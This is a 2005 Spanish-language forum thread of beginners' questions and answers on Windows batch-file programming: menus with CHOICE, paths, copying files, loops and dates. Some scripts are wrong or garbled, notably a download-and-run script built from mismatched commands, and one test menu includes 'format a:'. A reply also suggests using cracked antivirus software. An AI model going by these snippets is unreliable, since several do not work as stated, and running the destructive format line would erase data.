buenas... apenas estoy practicando este tipo de programacion en realidad solo he hecho 2 programas.  pero tengo el siguiente problema. y es que los programas que hice en el editor de texto de dos no corren en Win Xp. o bueno no se uqe es lo que pasa realmente con eso. si alguien pudiera ayudarme se lo agradeceria

nos vemos..


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 13 Junio 2005, 16:01 pm
No debes tener ningún problema, corren como deben.

Lo que puede pasar es que no te llegues a dar cuenta. En vez de Inicio - ejecutar - aplicación haz inicio - ejecutar - cmd y allí ejecutas tu aplicación a ver que tal

Un saludo


Título: PROBLEMA
Publicado por: wago20 en 13 Junio 2005, 18:32 pm
QUE MAS SOPLO.  VEA AHORA TENGO EL SIGUIENTE PROBLEMA QUE NO ME HABIA SALIDO ANTES. PRIMERO FUE EL PROBLEMA ANTERIOR.

PERO AHORA ME SALE QUE LA FUNCION CHOISE NO SE RECONOCE COMO UN COMANDO INTERNO O EXTERNO...

VEA ESTA ES LA PRUEBA QUE ESTOY HACIENDO....

echo off
echo "hola
echo "elija opcion
choice 123
main:
if errorlevel 1 goto uno
if errorlevel 2 goto dos
if errorlevel 3 goto tres
uno:
format a:
goto main
dos:
cd c:\
md winston
goto main
tres:
goto fin
fin:

nos e si es que estoy haciendo algo mal o que...  si me puede ayudar le agradeceria.. pues apenas estoy empezado con esta programacion y esos errores que pueden ser tontos no me dejan avanzar. 

nos hablamos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: rpp en 13 Junio 2005, 20:34 pm
Necesito enviar un correo electronico mediante un bat, si alguien puede darme una idea porfavor de cual seria el procedimiento a seguir se lo agradeceria muchisisisimo....


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: dominik en 14 Junio 2005, 07:51 am
les tiro data de bat
http://www.batchfiles.co.nr/
http://home7.inet.tele.dk/batfiles/
http://www.batch.hpg.ig.com.br/index.htm
http://www.computerhope.com/batch.htm
http://www.simtel.net/pub/msdos/batchutl/
http://members.cox.net/dos/batch01.htm#date
http://www.robvanderwoude.com/index.html
http://www.bookcase.com/library/software/msdos.util.batch.html
saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: darKPoison en 14 Junio 2005, 11:52 am
Hola, un saludo a todos tengo un pequeño problema y es que las carpetas que incluyen espacios en su nombre me dificultan cuando voy a establecer rutas Ej: "c:\documents and settings\all users\menú inicio.."
he probado con comillas, con ~1 y de qualquier modo no funciona ,tengo instalado XPSP2,tendrá algo que ver el sistema operativo?,no creo, pero de igual modo hay varios comandos que no me funcionan Ej:"Choice", y a propósito estoy creando un batch que asigna letras de unidad a carpetas, o sea crea una unidad virtual de disco duro , pero quisiera tambien que la ocultara una vez que la creó ,a ver si me explico "doble click la muestra ,doble click la oculta pero como el comando CHOICE no me funciona no puedo saber si está mal o bien, no importa ,igual se los mando para que lo utilicen y  lo modifiquen a su gusto,

Echo
Choice elige una opcion mo
if errorlevel1 goto mostrar
if errorlevel2 goto ocultar
mostrar
subst U: C:\carpeta
ocultar
subst h: /d

 ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: saok en 16 Junio 2005, 16:30 pm
ola me gustaria saber como crear un bat k m indike si hay algun virus en el sistema si es posible,si alguien sabe el codigo?????'' k lo ponga plisss.
gracias.





tambien puede postearlo en:
http://foro.elhacker.net/index.php/topic,74832.0.html


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 16 Junio 2005, 23:28 pm
Hola
Citar
hay varios comandos que no me funcionan Ej:"Choice",
Pues tienes razón. He probado y no hay comando 'choice'. Lo ha retirado microsoft.
Citar
las carpetas que incluyen espacios en su nombre me dificultan cuando voy a establecer rutas Ej: "c:\documents and settings\all users\menú inicio.."
he probado con comillas, con ~1 y de qualquier modo no funciona
Si que funcionan. He probado con xpsp2 dir c:\docume~1 y dir "c:\Document % Settings" y ambas han funcionado.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: bigsnake en 19 Junio 2005, 16:11 pm
a mi tmpoco me va ni con comillas o es k kisa las pongo mal.....

bueno mi pregunta es:

si una carpeta como la dl emule esta en uso por el emule mismo se podria cambiar a oculto?

en caso d k se pudiera,despues si esta configurado para cargar al inicio y la carpeta esta oculta la puede abrir o da error??

gracias!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Güan en 29 Junio 2005, 11:44 am
ola me gustaria saber como crear un bat k m indike si hay algun virus en el sistema si es posible,si alguien sabe el codigo?????'' k lo ponga plisss.
gracias.

Aver, lo que quieres hacer se llama ANTIVIRUS, y en el mercado están por unos 40 euros (mejor bajarselos crackados, claro), así que dudo mucho que se pudieran con cuatro líneas de el bloc de notas.
   Lo que puedes hacer es decirle a uno que ya esté instalado que se ejecute.



tambien puede postearlo en:
http://foro.elhacker.net/index.php/topic,74832.0.html



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: NERO2 en 17 Julio 2005, 08:47 am
Hola a todos, he leido todas las paginas de este tema que ademas es muy bacano y he aprendido muchas cositas, pero mi pregunta es la siguiente, se que ya la habian hecho pero no he visto respuesta alguna a esa, ahi les va: la idea es que quiero crear un .bat que me copie un archivo de un equipo a otro, probe con las siguientes lineas pero no me funciono: copy \\equipo1\archivo.txt \\equipo2\ les agrdezco me colaboren con esta informacion, lo que pasa es que es un proceso que me toca hacer este proceso cada 2 horas y creo que un .bat ahorraria tiempo.

Salud2s y gracias por la colaboracion.

Nota: Que buen manual Soplo  ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 19 Julio 2005, 11:31 am
Hola
La ruta que pones es incompleta
COPY \\EQUIPO1\C\ARCHIVO1 \\EQUIPO2\C\

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: CYRANO73 en 20 Julio 2005, 17:18 pm
como puedo verificar el cumplimiento de una sentencia "copy" completa.

tengo:
---------------------------------
c:
cd \
cd Archivos de programa\Sistemas Informat\Temporal
k:
cd \
cd k:\Act. 23- ERP 2005-06-22
copy *.* c: /y
if errorlevel 0 goto copia1
goto error
-----------------------------------
lo cual esta correcto hasta posecionarme en la carpeta indicada, el copy lo realiza pero la verificacion del "if errorlevel" no la realiza ya que copie o no copie pasa por "goto error"

como puedo hacer para que si copia ir a un label determinado y si no copia a otro.

por su ayuda gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: NERO2 en 25 Julio 2005, 05:56 am
Soplo, gracias por atender la solicitud, lo hice asi como lo escribiste
pero no lo hace, lo escribi normalmente en Prompt y el error que me sale es: "No se ha encontrado la ruta de acceso de la red", en vez del nombre del equipo le escribo la IP para descartar que sea problemas al resolver los nombres, pero me sigue saliendo el mismo error, sera que tengo que darle el nombre del servidor de dominio o algo por estilo, lo estaba escribiendo de esta forma: copy \\ip1\c\carpeta1\carpeta2\archivo.txt \\la misma ip\c\carpeta1\carpeta2\archivo.txt
escribo la misma ip porque es al mismo equipo al que quiero pasar  el archivo.
mejor dicho lo que quiero hacer es ejecutar el .bat desde mi equipo y que los cambios se vean reflejados en el servidor, o ejecutarlo desde cualquier equipo y que el copy lo haga en el servidor.
es posible hacer eso, y de ser posible me puedes ayudar.

Mil gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: vicentebenitez en 10 Agosto 2005, 14:10 pm
Gente hermosa, como estan, recien empiezo en esto, aver si  me pueden ayudar

Necesito  un bat que haga  lo  siguiente ::)

-que me baje de una pagina de internet un archivo  zip
tipo: www.myweb.com/archivo.zip
-que me lo descomprima y  me crea la carpeta
c:/archivodescomp
-y  que me ejecute la un .exe que esta en una direcciion
tipo: c:/miarchivo.exe

gracias gente


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 11 Agosto 2005, 12:27 pm
@echo off
start  www.myweb.com/archivo.zip.htm (si tienes configurado algun  acel d descargas o el mismo programa de descargas para que los deje en C:\)
cd
cd\"carpeta"\archivo.zip
prompt C:\"carpeta"$g
C:\"carpeta">BACKUP -s A:
echo. echo Por favor inserte un diskette
pause
cls
A:\
ren A:\archivo.zip C:\"carpeta"\archivo2.exe
cls
cd
cd:\
start C:\"carpeta"\archivo2.exe
end
*------------------------------------------------*
como nunca habia escuchado o visto algo acerca de como descomprimir .zip desde un bat pues nose, lo más seguro es que el bat llegara hasta aqui (más abajo) y despues tu tendrias que abrirlo pero nose pruebalo ok?
*----------------------------------------------------*
@echo off
start  www.myweb.com/archivo.zip.htm (si tienes configurado algun  acel d descargas o el mismo programa de descargas para que los deje en C:\)
cd
cd\"carpeta"\archivo.zip
start C:\"carpeta"\archivo.zip
*---------------------------------------------------------*
y hasta aqui con el raton pero no se pruebalo
saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 11 Agosto 2005, 14:09 pm
Hola
Citar
como puedo verificar el cumplimiento de una sentencia "copy" completa
Efectivamente, que yo recuerde copy no devuelve valor de errorlevel.
Se supone que has copiado en c:\carpeta el fichero "fich1.txt" y quieres comprobar si fue copiado:
Código:
if not exist c:\carpeta\fich1.txt goto mal

Citar
Soplo, gracias por atender la solicitud, lo hice asi como lo escribiste
pero no lo hace, lo escribi normalmente en Prompt y el error que me sale es: "No se ha encontrado la ruta de acceso de la red", en vez del nombre del equipo le escribo la IP para descartar que sea problemas al resolver los nombres, pero me sigue saliendo el mismo error,
Claro, si tienes un dominio tienes que agregar el parámetro /domain:dominio. Para eso está un dominio. Para que no puedan escribir los que no forman parte de ese dominio.

En este caso primero te tienes que conectar al dominio y luego copiar. Yo escribí algo sobre eso hará como un año. Mira aquí

Comandos NET principaleshttp://foro.elhacker.net/index.php/topic,33369.0.html

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 12 Agosto 2005, 07:42 am
disculpa si te corrigo soplo pero estas mal en esto:
Citar
if no exist c:\carpeta\fich1.txt goto mal
deberia ser con t: not de esa forma si le validara el comando, quiza te comiste la letra suele suceder
saludotes!!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 12 Agosto 2005, 08:12 am
Para descomprimir un zip desde un bat, puedes usar el prehistórico pkunzip que funciona en entorno DOS (al igual que el bat), yo lo uso.

SUERTE.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 14 Agosto 2005, 07:58 am
orale gracias si no es mucho pedir puedes poner un link?
gracias saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 14 Agosto 2005, 08:28 am
Citar
si no es mucho pedir puedes poner un link?

No sé si el mensaje era para mí, pero aqui dejo el pkzip y el pkunzip (el primero para comprimir y el segundo para descomprimir), para usarlos en DOS.



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 15 Agosto 2005, 02:22 am
si era a ti jvchino muchas gracias con esto ya sera más facil esperen el bat.
saludotes!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jariasm79 en 23 Agosto 2005, 18:56 pm
Saludos, neceisto saber como en un direcotio cualquiera que contenga por ejemplo 10 archivos de texto pueda hacer un bat que edite los archivos les borre el contenido y les agrege un X y despues les cambie la extensión... en windos


Muchas Gracias mi email dariasm@gmail.com


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: yermain en 26 Agosto 2005, 15:22 pm
Saludos, descubrí un detalle importante que tal vez les pueda interesar:

Si ustedes tienen un archivo oculto que está dentro de una carpeta también oculta, aunque se entre a la carpeta el archivo no se puede copiar a otro lado ya que dice que no se encuentra, aunque al darle el comando DIR sí la liste.

Tampoco se puede cambiar el atributo del archivo desde ahí para que deje de estar oculto, la solución es cambiarle el atributo a la carpeta entera para que deje de estar oculta y así poder copiar el archivo (que ya no está oculto) fuera de ella.

 :)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: panaka en 26 Agosto 2005, 19:49 pm
Hola haber estoy intentando aprender a programar bat.
Mi duda es la siguiente se supone que si yo pongo en el bloc de notas:
copy wer.txt c:/
y luego lo guerdo como .bat se supone que si yo ejucuto el bat se tendria que copiar el wer.txt a el directorio c:/
pero no ocurre esto en que me ekivoco


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 26 Agosto 2005, 20:34 pm
Lo primero: Asegúrate que el archivo "wer.txt" esté en la misma carpeta que el archivo bat.

Lo segundo:  el directorio no es c:/ sino c:\  (Con la oblicua inclinada al otro lado)

SUERTE


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: kadel en 17 Septiembre 2005, 01:20 am
Bueno gente esto es medio pelotud… los que les pido pero me esta haciendo falta una cosa como esto disculpen mi ignorancia pero no es lo mío jejejeje… si no me llego a explicar bien que es lo que busco y estas dispuesto a ayudarme este es mi mail kadel1@msn.com

Dando vueltas por el foro encontré el siguiente comando para un *.bat
@echo off
start C:\ programa_1.exe
start C:\ programa_2.exe
start C:\ programa_3.exe
start C:\programa_4.exe

Mi pregunta es si alguien sabe un comando diferente para que te deje elegir cual de los 4 queres ejecutar primero o bien elegir cual ejecutar por ejemplo.

Bienvenido elija que programa quiere usar:
Para elegir presione el numero del programa
Programa 1
Programa 2
Programa 3
Programa 4
Usted ha elegido la opción 3 desea continuar:
Si: 1
No: 2
Y que después se cierre el *.bat no se si me entienden desde ya muchas gracias
Ha otra cosa aprovechando se puede hacer un *.bat que te cargue una información en el registro como lo hacen los archivos *.reg
PD: Muy buen foro ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 17 Septiembre 2005, 06:31 am
Para lo primero se emplea "CHOICE", pero solo en win98... al parecer lo han dejado fuera del XP.  Si tienes el win98, en resumen este sería el código

Código:
echo   Escoja el programa que quiera ejecutar
echo.
choice /c:1234        INGRESE :
if errorlevel 4 goto CUARTO
if errorlevel 3 goto TERCERO
if errorlevel 2 goto SEGUNDO
if errorlevel 1 goto PRIMERO

:PRIMERO
Programa_1.exe
goto END

:SEGUNDO
Programa_2.exe
goto END
                 
:TERCERO
Programa_3.exe
goto END

:CUARTO
Programa_4.exe
goto END

:END
EXIT



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 17 Septiembre 2005, 06:45 am
Para agregar datos al registro de windows mediante una BAT se emplea REG ADD.  Más inofrmación en los siguientes enlaces:

http://foro.elhacker.net/index.php/topic,71551.0.html

http://foro.elhacker.net/index.php/topic,63581.0.html

http://foro.elhacker.net/index.php/topic,74452.0.html


SUERTE


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 18 Septiembre 2005, 12:15 pm
kadel, aquí está tu código completito xD

Código:
@ECHO OFF
:INICIO
CLS
ECHO    ESCOJA EL PROGRAMA QUE DESEA EJECUTAR:
ECHO.
ECHO      1 - PROGRAMA1.EXE
ECHO.
ECHO      2 - PROGRAMA2.EXE
ECHO.
ECHO      3 - PROGRAMA3.EXE
ECHO.
ECHO      4 - PROGRAMA4.EXE
ECHO.
CHOICE /C:1234
IF ERRORLEVEL 4 GOTO CUARTO
IF ERRORLEVEL 3 GOTO TERCERO
IF ERRORLEVEL 2 GOTO SEGUNDO
IF ERRORLEVEL 1 GOTO PRIMERO

:PRIMERO
ECHO   HA ELEGIDO LA OPCION 1; ¿DESEA CONTINUAR?
ECHO.
ECHO     SI.
ECHO.
ECHO     NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 START PROGRAMA1.EXE
GOTO OTRA

:SEGUNDO
ECHO   HA ELEGIDO LA OPCION 2; ¿DESEA CONTINUAR?
ECHO.
ECHO     SI.
ECHO.
ECHO     NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 START PROGRAMA2.EXE
GOTO OTRA

:TERCERO
ECHO   HA ELEGIDO LA OPCION 3; ¿DESEA CONTINUAR?
ECHO.
ECHO     SI.
ECHO.
ECHO     NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 START PROGRAMA3.EXE
GOTO OTRA

:CUARTO
ECHO   HA ELEGIDO LA OPCION 4; ¿DESEA CONTINUAR?
ECHO.
ECHO     SI.
ECHO.
ECHO     NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 START PROGRAMA4.EXE
GOTO OTRA

:OTRA
ECHO.
ECHO  ¿DESEA REALIZAR ALGUNA OTRA OPERACION?
ECHO.
ECHO    SI.
ECHO.
ECHO    NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 GOTO INICIO

:FIN
ECHO.
ECHO   "HASTA PRONTO"
ECHO.

Lo acabo de probar y funciona a la perfección ;)

OBSERVACIONES:

1 - El .BAT se tiene que encontrar en la misma carpeta que los programas a ejecutar, o si no deberás escribir su ruta completa

(Por ejemplo, en vez de esto:)


Código:
START PROGRAMA3.EXE

si el programa se encuentra en C:\caca\hola, tendrás que escribir:

Código:
START C:\caca\hola\PROGRAMA3.EXE

y así con todos ;)

2 - Necesitas el comando CHOICE, si estás en windows XP o NT, puedes conseguir dicho comando aquí:

http://foro.elhacker.net/index.php/topic,78383.0.html

3 - El código es bastante más largo que el de jvchino porque hace las comprobaciones con todos los programas.

4 - Puedes añadirle todos los programas que te plazcan siguiendo el mismo formato del programa.bat

5 - Espero que te sirva y lo disfrutes xD

PAZ


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 19 Septiembre 2005, 15:49 pm
Atención

Para consultas sobre este tema se ha creado un manual htm en la siguiente dirección:
http://www.elhacker.net/ProgramacionBat.htm

Allí podeis leer con mas detenimiento toda la información que está dispersa por este hilo.

Si teneis algún comentario o consulta adicional pues nada. Para eso está el foro.

Un saludo
[/size]


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: kadel en 20 Septiembre 2005, 16:21 pm
† Nerviozzo † Muchas gracias por el código esta perfecto… ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 21 Septiembre 2005, 09:37 am
Hola
Como orientación voy a poner el código de nerviozzo optimizado y usando variables:

Código:
@ECHO OFF
:INICIO
CLS
ECHO    ESCOJA EL PROGRAMA QUE DESEA EJECUTAR:
ECHO.
ECHO      1 - PROGRAMA1.EXE
ECHO.
ECHO      2 - PROGRAMA2.EXE
ECHO.
ECHO      3 - PROGRAMA3.EXE
ECHO.
ECHO      4 - PROGRAMA4.EXE
ECHO.
CHOICE /C:1234
IF ERRORLEVEL 4 GOTO CUARTO
IF ERRORLEVEL 3 GOTO TERCERO
IF ERRORLEVEL 2 GOTO SEGUNDO
IF ERRORLEVEL 1 GOTO PRIMERO

:PRIMERO
set programa=Programa1.exe
Set opcion=1
goto Confirmar

:SEGUNDO
set programa=Programa2.exe
Set opcion=2
goto Confirmar

:TERCERO
set programa=Programa3.exe
Set opcion=3
goto Confirmar

:CUARTO
set programa=Programa4.exe
Set opcion=4

:Confirmar
ECHO   HA ELEGIDO LA OPCION %Opcion%; ¿DESEA CONTINUAR?
ECHO.
ECHO     SI.
ECHO.
ECHO     NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 START %Programa%

ECHO.
ECHO  ¿DESEA REALIZAR ALGUNA OTRA OPERACION?
ECHO.
ECHO    SI.
ECHO.
ECHO    NO.
ECHO.
CHOICE /C:SN
IF ERRORLEVEL 2 GOTO FIN
IF ERRORLEVEL 1 GOTO INICIO

:FIN
ECHO.
ECHO   "HASTA PRONTO"
ECHO.

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 21 Septiembre 2005, 09:44 am
Hola
He recordado un problema con 'choice' que no esá en la consola de xp.

Este problema fue resuelto por Nerviozzo hace tiempo. Está aquí.

ftp://ftp.microsoft.com/Services/TechNet/samples/PS/Win98/Reskit/SCRPTING/CHOICE.EXE (http://ftp://ftp.microsoft.com/Services/TechNet/samples/PS/Win98/Reskit/SCRPTING/CHOICE.EXE)

Hay que dejarlo en system32

Un saludo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 21 Septiembre 2005, 17:14 pm
Jo, es que siempre que programo en BAT se me olvida que también existen las variables xD

PAZ


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Publio en 24 Septiembre 2005, 01:49 am
Bueno, a ver si alguine puede contestarme :

Necesitaba realizar un bat que  me permitiese ejecutar el alcohol 120% para que luego montase una imagen sacada de un dvd,  para  que asi procediese seguidamente a la instalación del mismo.

Una vez acabada la instalacion que  ejecutase un programa llamado virtualcdhide con la opción de hide, y que  ejecutase seguidamente el ejecutable .exe con la  opción de compatibilidad para windows  2000.

No se si se  podra hacer. Si es mucho chollo  podríais decirme como  hacer que  ses activen determinadas opciones de un programa en particular  a traves del archivo bat???

Gracias y un saludo :)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 28 Septiembre 2005, 08:09 am
Citar
He recordado un problema con 'choice' que no esá en la consola de xp.
puedes utilizar el comando set:
*-----------------------------------------------------------*
echo off
break = off
color 02
echo.
echo.
echo      escoge que opcion quieres:
echo.
echo.
echo      1) abrir Xprograma.*
echo      2) abrir Yprograma.*
echo      3) abrir Zprograma.*
echo      4) abrir Wprograma.*
echo.
echo      ****apurate a pensar!! no tengo tiempo!!!!****
echo      jajaja es broma es que tengo sueño!
echo.
echo.
set /p tecla=
if %tecla% == 1 goto :1
if %tecla% == 2 goto :2
if %tecla% == 3 goto :3
if %tecla% == 4 goto :4
if %tecla% =="" goto :fin
:1
start Xprogram.*
:2
start Yprogram.*
:3
start Zprogram.*
:4
start Wprogram.*
:fin
exit
*------------------------------------------------------------*
funciona al igual que el choice, la ruta de los programas debe estar bien escrita en la parte de goto, disculpen la falta de code pero ya tengo sueño jeje
saludos!!!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: makkinen en 28 Septiembre 2005, 17:39 pm
Buenas, tengo un problema: Estoy intentando copiar un fichero host a la ruta de un pc (C:\winnt\system32\drivers\etc) pero cuando se ejecuta el bat me dice que acceso denegado (0 archivos copiados) Hay alguna manera de copiar un archivo como si fueses otro usuario con los permisos necesarios?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: DarkSid3!! en 2 Octubre 2005, 18:54 pm
Que buen post, Muchas gracias a todos. Siempre habia estado buscando manuales sobre.bat pero todos los q encontraba eran muy básicos. Al fin encontre lo q queria.

Otra vez Gracias.
Salu2!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: von Newman en 5 Octubre 2005, 07:48 am
Buenas, tengo un problema: Estoy intentando copiar un fichero host a la ruta de un pc (C:\winnt\system32\drivers\etc) pero cuando se ejecuta el bat me dice que acceso denegado (0 archivos copiados) Hay alguna manera de copiar un archivo como si fueses otro usuario con los permisos necesarios?

podrias poner bien la ruta? y el code? para ver si ahí hay errores.

Que buen post, Muchas gracias a todos. Siempre habia estado buscando manuales sobre.bat pero todos los q encontraba eran muy básicos. Al fin encontre lo q queria.

Otra vez Gracias.
Salu2!!
pues si que esta bien, y estaria mejor un subforo de puro batch
porfavor moderadores!!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: DADE en 6 Octubre 2005, 15:28 pm
Un subforo de batch por favor ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: matias_majo en 12 Octubre 2005, 14:59 pm
Hola necesito saber como hago para saber si un copy fue exitoso para poder hacer otras cosas


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 12 Octubre 2005, 21:46 pm
Hola necesito saber como hago para saber si un copy fue exitoso para poder hacer otras cosas

Utiliza el comando copy con el parámetro V:

copy /V

PAZ[/font]


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: matias_majo en 14 Octubre 2005, 16:45 pm
mi bat  es este pero necesito que me informe si no se pudo copiar
     porque esta lleno
    porque no encontro la unidad
y tirar un mensaje de alerta o algo asi

@echo on
move c:\Base_BK\*.* e:\

Se puede?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: CARL75 en 21 Octubre 2005, 00:27 am
mediante net star podemos ejecutar un archivo ya subido a una maquina remota?

net start \\ip\rutadel archivo que tenemos metido\archivo.exe o lo que sea  -h
esto es valido?

Si no es asi ¿como podemos ejecutar un archivo .xls que esta remotamente con un .bat?
Agradezco su ayuda



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: DADE en 21 Octubre 2005, 00:31 am
yo uso simplemente:

start archivo


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: luckyluck en 28 Octubre 2005, 13:11 pm
Hola soy nuevo en esto y estoy intentando hacerme un cd de aranque por q mi disquetera me rompe los disket unos si y otros tambien,.

Al tema, yo suelo utilizar amenudo unos programas para mantenimiento como podrian ser el ghost, diswizard y algun otro..., el nero me emula un disket en un cd pero el problema me surge cuando son mas de un disket que no se como hacerlo., mi idea es hacer como un menu para elegir la obcion y q luego se cargara el programa en cuestion,. lo ideal es q este cd al llegar al menu cargue todos lo drives necesarios, cd-rom, usb..etc

Estoy probando con el choice pero no termino de hacerlo bien y el problema creo esta en los disket del diswizard q son dos..

Bueno si me podeis hechar una mano lo agradeceria muchisimo..Salu2....


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: darKPoison en 2 Noviembre 2005, 09:06 am
Hola a todos
alguien pudiera ayudarme a crear un bat que borre todos los directorios y ficheros en la carpeta C:\Documents and Settings\Administrador\Configuración local\Temp
y además en  C:\Documents and Settings\Administrador\Configuración local\Archivos temporales de Internet ?
eso me evitaría mucho trabajo
gracias de antemano


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Kizar en 11 Noviembre 2005, 16:36 pm
Como se podria acer un bucle en un bat?

Salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ¤ Nerviozzo ¤ en 11 Noviembre 2005, 23:11 pm
Como se podria acer un bucle en un bat?

Salu2

Espero que te sirva

http://www.elhacker.net/ProgramacionBat.htm#comandosprogramacion

PAZ[/font]


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: soplo en 11 Noviembre 2005, 23:20 pm
Hola
Tienes en el manual un ejemplo para hacer bucles mediante el comando for.

Por otra parte también puedes utilizar una variable para iniciar  do while con una etiqueta y al acabar hacer
if %variable%==0 goto inicio_bucle

Es simple


Título: Ayuda para Crear un BAT PLISS
Publicado por: VidalArango en 11 Noviembre 2005, 23:57 pm
Hola que tal alguien podria ayudarme a realizar un archivo.bat
Lo que deseo es lo siguiente:
Tengo una aplicacion que la mando a llamar con esta instruccion call $e300 -file "Aqui meto el nombre del archivo a copilar" - ver  "Aqui pongo la version"
Lo que quiero es que en el bat me pida el nombre del archivo y la version y cuantas ejecuciones deseo con esa instruccion despues de terminar la primera y ya terminada la ejecucion me diga el espacio en disco y memoria y que al terminar si en su caso no hay espacio porque me genera unos archivos *.PRT muy grandes me pida que los borre para poder seguir con la segunda o tercera,.. ejecucion eso es todo. Podrian ayudarme por favor
Saludos de MAVA  :-*


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Kizar en 12 Noviembre 2005, 00:36 am
Código:
do
if exist C:\tre.exe DEL C:\tre.exe
if not exist C:\tre.exe EXIT
loop

teoricamente este code tendria k funcionar, pero creo k los bat no aceptan el do loop, nom e a kedado muy claro lo k decias Soplo, podrias explicarme lo del for o lo de ldo while?

Salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Kizar en 12 Noviembre 2005, 00:46 am
Solucionado

Código:
:re
comando
comando
goto re

salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: stefania en 17 Noviembre 2005, 17:05 pm
Hola una gran duda, necesito en un archivo bat traerme una fecha anterior a la fecha actual, lo e tratado de hacer de dos formas:

1) set var=%DATE:~0,2% para traerme el mes, y
set var=%DATE:~7,11% para el año, ahora como le resto a esto 1 dia? ejemplo si hoy fuera 1ro de noviembre el resultado deberia ser 31 de octubre

2) tengo un archivo en lenguaje perl me trae el resultado de una fecha anterior (q es como yo quiero) el problema que no se como dentro de una variable en una archivo bat tomar el resultado, trate de hacerlo como el primer punto
set var=%perl fecha.pl% y no funciona...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: fanny en 22 Noviembre 2005, 10:22 am
Hola gracias por este tutorial el cual me despeja bastantes dudas, al final consegui solucionar mi duda sobrte mi ejercicio de ficheros bat.Aprovecho la ocasion para pedir disculpas por el duplicado que hice de mi mensaje, era la primera vez que me metia en un foro........y aun no se donde tengo que exponer mis dudas sobre los ficheros bat, espero que sea en esta sección si no indicame donde por que tengo otra duda:
¿que diferencia hay entre set/A y set/n?
Gracias por adelantado y felicitaciones por el tutorial.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: DADE en 22 Noviembre 2005, 16:34 pm
Te pondría aqui la imagen, pero estoy en clase y no puedo hacerlo. Si tienes dudas sobre estos comandos:

Inicio--->Ejecutar---->cmd----> set /?

Un saludo


Título: archivo que cierra internet explorer indefinidamente
Publicado por: tchs en 22 Noviembre 2005, 18:11 pm
Hola necesito algo de ayuda, quiero crear un archivo .bat que compruebe en una red local que ordenadores tienen el proceso iexplore.exe ejecutandose y que cuando lo encuentre se lo cargue en el ordenador que sea.

Quiero que esto lo haga cada cierto tiempo, todos las maquias estan en red con windows 2003 y con el mismo nombre de administrador y contraseña.

he conseguido ya con un simple taskkill que los cierre, pero no que lo haga solo en los ordenadores con el proceso ejecutandose y cada cierto tiempo.


Muchas gracias :)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: DADE en 22 Noviembre 2005, 21:48 pm
